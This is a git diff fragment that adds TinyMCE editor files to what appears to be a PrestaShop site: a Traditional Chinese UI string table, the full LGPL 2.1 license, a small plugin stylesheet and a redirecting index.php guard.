+tinyMCE.addI18n({"zh-tw":{common:{"more_colors":"\u5176\u4ed6\u984f\u8272","invalid_data":"\u7d05\u8272\u6a19\u793a\u8d77\u4f86\u7684\u5730\u65b9\u6709\u932f\u8aa4","popup_blocked":"\u4f60\u770b\u7db2\u9801\u7684\u8edf\u9ad4\u4e0d\u652f\u63f4\u9019\u500b\u529f\u80fd\uff0c\u8acb\u6539\u8b8a\u8edf\u9ad4\u6709\u95dc\u5f48\u8df3\u8996\u7a97\u8a2d\u5b9a\uff0c\u8acb\u5141\u8a31\u4ed6\uff0c\u7a0b\u5f0f\u624d\u80fd\u6b63\u5e38\u904b\u4f5c","clipboard_no_support":"\u4f60\u770b\u7db2\u9801\u7684\u8edf\u9ad4\u4e0d\u652f\u63f4\u9019\u500b\u529f\u80fd\uff0c\u8acb\u4f7f\u7528\u9375\u76e4\u4e0a\u7684\u5feb\u901f\u9375\u8a66\u8a66\u770b\uff0c\u656c\u8acb\u898b\u8ad2","clipboard_msg":"\u4f60\u770b\u7db2\u9801\u7684\u8edf\u9ad4\u4e0d\u652f\u63f4\u529f\u80fd\u5594\uff01\u5efa\u8b70\u4f7f\u7528\u9375\u76e4\u4e0a\u7684 Ctrl X (\u526a\u4e0b) \u6216 Ctrl V (\u8cbc\u4e0a) \u4ee3\u66ff","not_set":"- \u672a\u8a2d\u5b9a -","class_name":"Class \u985e\u5225",browse:"\u700f\u89bd",close:"\u95dc\u9589\u756b\u9762",cancel:"\u53d6\u6d88",update:"\u66f4\u65b0",insert:"\u52a0\u5165",apply:"\u9810\u89bd","edit_confirm":"\u4f60\u8981\u4f7f\u7528\u300c\u6587\u5b57\u7de8\u8f2f\u5668\u300d\u4f86\u7de8\u8f2f\u4f60\u7684\u6587\u7ae0\u55ce\uff1f","invalid_data_number":"{#field} \u61c9\u8a72\u8981\u586b\u6578\u5b57","invalid_data_min":"{#field} \u4f60\u586b\u5beb\u7684\u6578\u5b57\uff0c\u5fc5\u9808\u5927\u65bc {#min}","invalid_data_size":"{#field} \u61c9\u8a72\u8981\u586b\u5beb\u6578\u5b57 \u6216 \u767e\u5206\u6bd4 (%)",value:"(value)"},contextmenu:{full:"\u5206\u6563\u5c0d\u9f4a",right:"\u5411\u53f3\u908a",center:"\u7f6e\u4e2d",left:"\u5411\u5de6\u908a",align:"\u5c0d\u9f4a\u65b9\u5f0f"},insertdatetime:{"day_short":"\u9031\u4e00,\u9031\u4e8c,\u9031\u4e09,\u9031\u56db,\u9031\u4e94,\u9031\u516d,\u9031\u65e5","day_long":"\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","months_short":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","inserttime_desc":"\u6642\u9593","insertdate_desc":"\u65e5\u671f","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u5217\u5370"},preview:{"preview_desc":"\u9810\u89bd"},directionality:{"rtl_desc":"\u5f9e\u53f3\u908a\u5230\u5de6\u908a","ltr_desc":"\u5f9e\u5de6\u908a\u5230\u53f3\u908a"},layer:{content:"\u65b0\u589e\u7db2\u9801\u5716\u5c64","absolute_desc":"\u5b9a\u4f4d","backward_desc":"\u653e\u5230\u5f8c\u9762","forward_desc":"\u6392\u5728\u524d\u9762","insertlayer_desc":"\u65b0\u589e\u7db2\u9801\u5716\u5c64"},save:{"save_desc":"\u5b58\u6a94","cancel_desc":"\u5168\u90e8\u53d6\u6d88"},nonbreaking:{"nonbreaking_desc":"\u52a0\u5165\u4e0d\u65b7\u884c\u7684\u7b26\u865f"},iespell:{download:"\u7a0b\u5f0f\u627e\u4e0d\u5230 ieSpell \uff0c\u4f60\u8981\u5b89\u88dd\u5b83\u55ce\uff1f","iespell_desc":"\u6aa2\u67e5\u82f1\u6587\u8a9e\u6cd5"},advhr:{"delta_height":"\u9ad8","delta_width":"\u5bec","advhr_desc":"\u6c34\u5e73\u7dda"},emotions:{"delta_height":"","emotions_desc":"\u8868\u60c5\u7b26\u865f","delta_width":""},searchreplace:{"replace_desc":"\u641c\u5c0b\u53d6\u4ee3","search_desc":"\u641c\u5c0b","delta_width":"","delta_height":""},advimage:{"image_desc":"\u52a0\u5165 / \u7de8\u8f2f\u5716\u7247","delta_width":"","delta_height":""},advlink:{"link_desc":"\u52a0\u5165 / \u7de8\u8f2f\u7db2\u5740","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u65b0\u589e / \u7de8\u8f2f\u5c6c\u6027","ins_desc":"\u65b0\u589e","del_desc":"\u522a\u9664","acronym_desc":"\u982d\u5b57\u8a9e (\u975e\u4e00\u822c\u82f1\u6587\u7e2e\u5beb)","abbr_desc":"\u82f1\u6587\u7e2e\u5beb","cite_desc":"\u5f15\u7528","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u7de8\u8f2f CSS \u6a23\u5f0f","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\u73fe\u5728\u662f\u7d14\u6587\u5b57\u8cbc\u4e0a\u6a21\u5f0f\uff0c\u4f60\u73fe\u5728\u8cbc\u4e0a\u7684\u8cc7\u6599\u53ea\u6703\u51fa\u73fe\u6587\u5b57","plaintext_mode_sticky":"\u73fe\u5728\u662f\u7d14\u6587\u5b57\u8cbc\u4e0a\u6a21\u5f0f\uff0c\u4f60\u73fe\u5728\u8cbc\u4e0a\u7684\u8cc7\u6599\u53ea\u6703\u51fa\u73fe\u6587\u5b57\uff0c\u4f46\u4f60\u8cbc\u4e0a\u8cc7\u6599\u5f8c\u5c07\u56de\u5230\u4e00\u822c\u6a21\u5f0f\u53ef\u4ee5\u8cbc\u4e0a\u5716\u7247\u3001\u5f71\u7247\u7b49\u7b49","selectall_desc":"\u5168\u9078","paste_word_desc":"\u5f9e Word \u8cbc\u4e0a","paste_text_desc":"\u53ea\u8cbc\u4e0a\u6587\u5b57"},"paste_dlg":{"word_title":"\u8acb\u6309\u9375\u76e4\u4e0a\u7684 Ctrl C (\u8907\u88fd) \u8cc7\u6599\u5230\u756b\u9762\u4e0a","text_linebreaks":"\u4fdd\u7559\u6587\u7ae0\u4e2d\u7684\u63db\u884c","text_title":"\u8acb\u6309\u9375\u76e4\u4e0a\u7684 Ctrl C (\u8cbc\u4e0a) \u8cc7\u6599\u5230\u756b\u9762\u4e0a"},table:{cell:"\u5132\u5b58\u683c",col:"\u6b04",row:"\u5217",del:"\u522a\u9664\u8868\u683c","copy_row_desc":"\u8907\u88fd\u8868\u683c\u4e0a\u7684\u5217","cut_row_desc":"\u526a\u4e0b\u8868\u683c\u7684\u5217","paste_row_after_desc":"\u8cbc\u5728\u9019\u689d\u5217\u7684\u5f8c\u9762","paste_row_before_desc":"\u8cbc\u5728\u9019\u689d\u5217\u7684\u524d\u9762","props_desc":"\u8868\u683c\u8a2d\u5b9a","cell_desc":"\u5132\u5b58\u683c\u7684\u8a2d\u5b9a","row_desc":"\u5217\u7684\u8a2d\u5b9a","merge_cells_desc":"\u5408\u4f75\u8868\u683c","split_cells_desc":"\u5206\u5272\u5132\u5b58\u683c","delete_col_desc":"\u79fb\u9664\u8868\u683c\u6b04\u4f4d","col_after_desc":"\u5728\u53f3\u908a\u52a0\u5165\u4e00\u500b\u6b04\u4f4d","col_before_desc":"\u5728\u5de6\u908a\u52a0\u5165\u4e00\u500b\u6b04\u4f4d","delete_row_desc":"\u522a\u9664\u9019\u6574\u5217","row_after_desc":"\u5728\u4e0b\u65b9\u52a0\u5165\u4e00\u5217","row_before_desc":"\u5728\u4e0a\u65b9\u52a0\u5165\u4e00\u5217",desc:"\u65b0\u589e\u4e00\u500b\u8868\u683c","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u5982\u679c\u4f60\u8981\u9084\u539f\u8cc7\u6599\u7684\u8a71\uff0c\u4f60\u73fe\u5728\u7684\u6587\u7ae0\u5c07\u88ab\u522a\u9664\uff0c\u78ba\u5b9a\u8981\u9084\u539f\u55ce\uff1f","restore_content":"\u9084\u539f","unload_msg":"\u4f60\u5982\u679c\u96e2\u958b\u9019\u500b\u756b\u9762\uff0c\u7a0b\u5f0f\u6703\u79fb\u9664\u6587\u7ae0\u5099\u4efd (\u4f46\u4e0d\u5f71\u97ff\u5230\u7db2\u7ad9\u904b\u4f5c)"},fullscreen:{desc:"\u653e\u5927\u5230\u6574\u500b\u87a2\u5e55"},media:{"delta_height":"",edit:"\u6539\u8b8a\u8a2d\u5b9a",desc:"\u52a0\u5165\u5d4c\u5165\u8a9e\u6cd5","delta_width":""},fullpage:{desc:"\u9801\u9762\u5c6c\u6027","delta_width":"","delta_height":""},template:{desc:"\u4f7f\u7528\u7248\u578b"},visualchars:{desc:"\u986f\u793a\u96b1\u85cf\u7684\u5b57"},spellchecker:{desc:"\u4f7f\u7528\u82f1\u6587\u8a9e\u6cd5\u6aa2\u67e5",menu:"\u8a2d\u5b9a","ignore_word":"\u5ffd\u7565","ignore_words":"\u5168\u90e8\u5ffd\u7565",langs:"\u8a9e\u8a00",wait:"\u7a0d\u7b49",sug:"\u62fc\u5b57\u5efa\u8b70","no_sug":"\u7121","no_mpell":"\u6c92\u6709\u8a9e\u6cd5\u4e0a\u7684\u554f\u984c","learn_word":"\u81ea\u52d5\u5b78\u7fd2\u529f\u80fd"},pagebreak:{desc:"\u52a0\u4e0a\u5206\u9801\u7b26\u865f"},advlist:{types:"\u5f62\u5f0f",def:"\u9810\u8a2d","lower_alpha":"\u5c0f\u5beb\u7684\u82f1\u6587","lower_greek":"\u5e0c\u81d8\u6587","lower_roman":"\u5c0f\u5beb\u7684\u7f85\u99ac\u6578\u5b57","upper_alpha":"\u5927\u5beb\u7684\u82f1\u6587","upper_roman":"\u5927\u5beb\u7684\u7f85\u99ac\u6578\u5b57",circle:"\u7a7a\u5fc3\u7684\u5713\u5708\u5708",disc:"\u5713\u5708\u5708",square:"\u6b63\u65b9\u5f62"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"\u6587\u5b57\u7de8\u8f2f\u5340"},wordcount:{words:"\u6587\u7ae0\u5167\u7684\u5b57\u6578: "}}}); \ No newline at end of file diff --git a/js/tiny_mce/license.txt b/js/tiny_mce/license.txt new file mode 100755 index 0000000..1837b0a --- /dev/null +++ b/js/tiny_mce/license.txt @@ -0,0 +1,504 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + diff --git a/js/tiny_mce/plugins/advhr/css/advhr.css b/js/tiny_mce/plugins/advhr/css/advhr.css new file mode 100755 index 0000000..3fe369c --- /dev/null +++ b/js/tiny_mce/plugins/advhr/css/advhr.css @@ -0,0 +1,5 @@ +input.radio {border:1px none #000; background:transparent; vertical-align:middle;} +.panel_wrapper div.current {height:80px;} +#width {width:50px; vertical-align:middle;} +#width2 {width:50px; vertical-align:middle;} +#size {width:100px;} diff --git a/js/tiny_mce/plugins/advhr/css/index.php b/js/tiny_mce/plugins/advhr/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advhr/editor_plugin.js b/js/tiny_mce/plugins/advhr/editor_plugin.js new file mode 100755 index 0000000..4d3b062 --- /dev/null +++ b/js/tiny_mce/plugins/advhr/editor_plugin.js @@ -0,0 +1 @@ 